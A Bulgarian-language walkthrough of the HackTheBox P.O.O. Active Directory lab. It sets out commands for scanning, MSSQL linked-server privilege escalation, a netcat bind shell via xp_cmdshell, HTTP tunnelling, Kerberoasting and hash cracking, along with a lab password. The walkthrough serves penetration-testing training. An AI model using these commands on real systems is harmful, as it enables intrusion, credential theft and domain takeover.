HackTheBox Endgame. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

HackTheBox Endgame. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

В тази статия ще разгледаме преминаването не просто на машина, а на цяла мини-лаборатория от платформата HackTheBox.

Както е посочено в описанието, P.O.O. е предназначен за проверка на уменията на всички етапи от атаките в малка среда на Active Directory. Целта е да се компрометира наличния хост, да се повишат привилегиите и в крайна сметка да се компрометира целия домейн, като се съберат 5 флага.

Свързването с лабораторията става чрез VPN. Препоръчва се да не се свързвате от работния компютър или от хост, на който имате важни данни, тъй като попадаме в частна мрежа с хора, които имат опит в областта на ИБ 🙂

Организационна информация
За да можете да получавате информация за нови статии, софтуер и друга информация, създадох канал в Telegram и група за обсъждане на всякакви въпроси в областта на ИиКБ. Също така вашите лични запитвания, въпроси, предложения и препоръки ще разгледам лично и ще отговоря на всички.

Цялата информация е предоставена изключително за образователни цели. Авторът на този документ не носи никаква отговорност за вреди, причинени на когото и да е в резултат на използването на знания и методи, получени от изучаването на този документ.

Въведение

Този Endgame се състои от две машини и съдържа 5 флага.

HackTheBox Endgame. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

Също така се предоставя описание и адрес на наличния хост.

HackTheBox Endgame. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

Нека започнем!

Recon флаг

Тази машина има IP адрес 10.13.38.11, който добавям в /etc/hosts.
10.13.38.11 poo.htb

Първото нещо, което трябва да направим, е да сканираме отворените портове. Тъй като сканирането на всички портове с nmap отнема много време, аз първо ще го направя с masscan. Сканираме всички TCP и UDP портове от интерфейса tun0 със скорост 500 пакета в секунда.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

HackTheBox Endgame. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

Сега, за да получим по-подробна информация за услугите, работещи на портовете, ще стартираме сканиране с опцията -A.

nmap -A poo.htb -p80,1433

HackTheBox Endgame. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

По този начин имаме услуги IIS и MSSQL. В същото време разбираме реалното DNS име на домейна и компютъра. На уеб сървъра ни очаква началната страница на IIS.

HackTheBox Endgame. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

Нека да прегледаме директориите. Аз използвам gobuster за това. В параметрите указвам броя на потоковете 128 (-t), URL (-u), речника (-w) и разширенията, които ни интересуват (-x).

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

HackTheBox Endgame. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

Така получаваме HTTP автентикация за директорията /admin, както и достъпен файл за хранилище на работния плот .DS_Store. .DS_Store са файлове, в които се съхраняват потребителските настройки за папката, като списък с файлове, разположение на иконите, избрано фоново изображение. Този файл може да се появи в директорията на уеб сървъра при уеб разработчици. По този начин получаваме информация за съдържанието на каталога. За целта можем да използваме DS_Store crawler.

python3 dsstore_crawler.py -i http://poo.htb/

HackTheBox Endgame. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

Получаваме съдържанието на каталога. Най-интересното тук е каталога /dev, от който можем да видим изходните кодове и файлове db в две клонове. Но можем да получим само първите 6 символа от имената на файловете и директориите, ако услугата е уязвима на IIS ShortName. Можем да проверим за наличие на тази уязвимост с помощта на IIS shortname Scanner.

HackTheBox Endgame. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

И откриваме един текстов файл, който започва с "poo_co". Не знаейки какво да правя нататък, просто избрах от речника на директориите всички думи, които започват с "co".

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

И ги перебираме с помощта на wfuzz.

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

HackTheBox Endgame. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

И намираме подходяща дума! Разглеждаме този файл, запазваме удостоверенията (съдия по параметъра DBNAME, те са от MSSQL).

HackTheBox Endgame. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

Предаваме флага и напредваме с 20%.

HackTheBox Endgame. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

Huh flag

Свързваме се с MSSQL, използвам DBeaver.

HackTheBox Endgame. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

Нямаме нищо интересно в тази база, да създадем SQL редактор и да проверим какви потребители имаме.

SELECT name FROM master..syslogins;

HackTheBox Endgame. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

Имаме двама потребители. Нека проверим техните привилегии.

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

HackTheBox Endgame. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

Така привилегии няма. Нека видим свързаните сървъри, за тази методика писах подробно. тук..

SELECT * FROM master..sysservers;

HackTheBox Endgame. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

Така намираме още един SQL Server. Нека проверим изпълнението на команди на този сървър с помощта на openquery().

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');

HackTheBox Endgame. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

И можем дори да изградим дърво на запитванията.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');

Става въпрос за това, че когато правим заявка към свързания сървър, заявката се изпълнява в контекста на друг потребител! Нека да видим в контекста на какъв потребител работим на свързания сървър.

SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');

HackTheBox Endgame. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

Сега да видим в какъв контекст се изпълняват заявките от свързания сървър към нашия!

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');

HackTheBox Endgame. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

По този начин, това е контекстът DBO, който трябва да има всички привилегии. Нека проверим привилегиите в случай на заявка от свързания сървър.

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

HackTheBox Endgame. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

Както можем да забележим, имаме всички привилегии! Нека създадем наш собствен администратор. Но не ни пускат през openquery, така че нека го направим чрез EXECUTE AT.

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";

И сега се свързваме с данните на новия потребител, наблюдаваме новата база данни flag.

HackTheBox Endgame. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

Задатъка флаг и продължаваме напред.

HackTheBox Endgame. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

BackTrack flag

Ще получим шелл с помощта на MSSQL, използвам mssqlclient от пакета impacket.

mssqlclient.py ralf:ralfralf@poo.htb -db POO_PUBLIC

HackTheBox Endgame. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

Трябва да се сдобием с пароли и първото, което вече открихме, е сайтът. Затова ни трябва конфигурацията на уеб сървъра (не може да пуснем удобен шелл, явно работи firewall).

HackTheBox Endgame. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

Но достъпът е забранен. Въпреки това можем да прочетем файл от MSSQL, нужно е само да знаем какви програмни езици са конфигурирани. И в директорията MSSQL откриваме, че има Python.

HackTheBox Endgame. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

Тогава четенето на файла web.config не е никакъв проблем.

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"

HackTheBox Endgame. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

С намерените данни за вход влизаме на /admin и вземаме флага.

HackTheBox Endgame. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

HackTheBox Endgame. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

Foothold flag

Всъщност, от използването на firewall има някои неудобства, но преглеждайки настройките на мрежата, виждаме, че се използва и проксировка на IPv6!

HackTheBox Endgame. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

Добавяме този адрес в /etc/hosts.
dead:babe::1001 poo6.htb
Нека отново сканираме хоста, но вече по протокол IPv6.

HackTheBox Endgame. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

И по IPv6 е налична услугата WinRM. ще се свържем с намерените идентификационни данни.

HackTheBox Endgame. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

На работния плот има флаг, предаваме го.

HackTheBox Endgame. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

P00ned флаг

След проучване на хоста с помощта на winpeas не намираме нищо особено. Тогава бе взето решение отново да търсим идентификационни данни (по тази тема също написах статия). Но не успях да получа всички SPN от системата чрез WinRM.

setspn.exe -T intranet.poo -Q **

HackTheBox Endgame. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

Нека изпълним команда през MSSQL.

HackTheBox Endgame. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

С посочения метод получаваме SPN на потребителите p00_hr и p00_adm, което означава, че те са уязвими на атака, наречена Kerberoasting. С две думи, можем да получим хешовете на техните пароли.

Първо трябва да получим стабилен шел от името на потребителя MSSQL. Но тъй като ни ограничават достъпа, имаме връзка с хоста само през порт 80 и 1433. Но има възможност за тунелиране на трафика през порт 80! За целта ще използваме следното приложение. Нека качим файла tunnel.aspx в домашната директория на уеб сървъра — C:inetpubwwwroot.

HackTheBox Endgame. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

Но при опит за достъп до него получаваме грешка 404. Това означава, че файловете *.aspx не се изпълняват. За да могат файловете с това разширение да се изпълняват, ще инсталираме ASP.NET 4.5 по следния начин.

dism /online /enable-feature /all /featurename:IIS-ASPNET45

HackTheBox Endgame. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

HackTheBox Endgame. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

И сега при достъп до tunnel.aspx получаваме отговор, че всичко е готово за работа.

HackTheBox Endgame. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

Нека стартираме клиентската част на приложението, която ще се занимава с ретранслирането на трафика. Ще пренасочваме целия трафик от порт 5432 към сървъра.

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

HackTheBox Endgame. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

И ще използваме proxychains, за да изпращаме трафика на всяко приложение през нашия прокси. Нека добавим този прокси в конфигурационния файл /etc/proxychains.conf.

HackTheBox Endgame. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

Сега качваме на сървера програмата netcat, с помощта на която ще направим стабилен bind шел, и скрипта Invoke-Kerberoast, с който ще извършим атаката Kerberoasting.

HackTheBox Endgame. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

Сега през MSSQL стартираме слушателя.

xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321

HackTheBox Endgame. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

И се свързваме през нашия прокси.

proxychains rlwrap nc poo.htb 4321

HackTheBox Endgame. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

И нека получим хешовете.

. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt

HackTheBox Endgame. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

След това трябва да пробваме тези хешове. Тъй като в речника rockyou нямаше данни за паролите, използвах ВСИЧКИ речници пароли, предоставени в Seclists. За пробиване използваме hashcat.

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

Намираме и двете пароли, първият в речника dutch_passwordlist.txt, а вторият в Keyboard-Combinations.txt.

HackTheBox Endgame. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

HackTheBox Endgame. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

И така имаме трима потребители, отиваме на домейн контролера. Първо откриваме неговия адрес.

HackTheBox Endgame. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

Чудесно, установихме IP адреса на домейн контролера. Нека разберем всички потребители на домейна, както и кой от тях е администратор. Ще изтеглим скрипт за получаване на информация PowerView.ps1. След това ще се свържем с помощта на evil-winrm, като посочим директорията на скрипта с параметъра -s. А след това просто ще качим скрипта PowerView.

HackTheBox Endgame. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

Сега имаме достъп до всичките му функции. Потребителят p00_adm изглежда привилегирован, затова ще работим в неговия контекст. Ще създадем обект PSCredential за този потребител.

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

Сега всички команди PowerShell, в които укажем Creds, ще бъдат изпълнени от името на p00_adm. Нека изведем списък на потребителите и атрибута AdminCount.

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

HackTheBox Endgame. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

И така, нашият потребител наистина е привилегирован. Нека видим в какви групи е.

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

HackTheBox Endgame. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

Крайно потвърдено, че потребителят е администратор на домейна. Това му дава право на отдалечен достъп до домейн контролера. Нека опитаме да влезем през WinRM, използвайки нашия тунел. Странни бяха грешките, генерирани от reGeorg при използване на evil-winrm.

HackTheBox Endgame. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

Тогава ще използваме друг, по-лесен, скрипт за свързване с WinRM. Ще отворим и променим параметрите за свързване.

HackTheBox Endgame. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

Опитваме да се свържем и сме в системата.

HackTheBox Endgame. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

Но флагът липсва. Нека проверим потребителя и работните им настолни компютри.

HackTheBox Endgame. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

При mr3ks намираме флага и лабораторията е завършена на 100%.

HackTheBox Endgame. Преминаване на лабораторията Professional Offensive Operations. Пентест на Active Directory

Това е всичко. Като обратна връзка, коментирайте – научихте ли нещо ново от тази статия и беше ли ви полезна.

Можете да се присъедините към нас в Телеграм. Там ще намерите интересни материали, течащи курсове, както и софтуер. Нека сформираме общество, в което ще има хора, разбиращи много области на ИТ, така ще можем да помагаме един на друг с всякакви въпроси свързани с ИТ и ИБ.

Източник: habr.com

Купете надежден хостинг за сайтове със защита от DDoS, VPS и VDS сървъри 🔥 Купете надежден хостинг за сайтове със защита от DDoS, VPS и VDS сървъри | ProHoster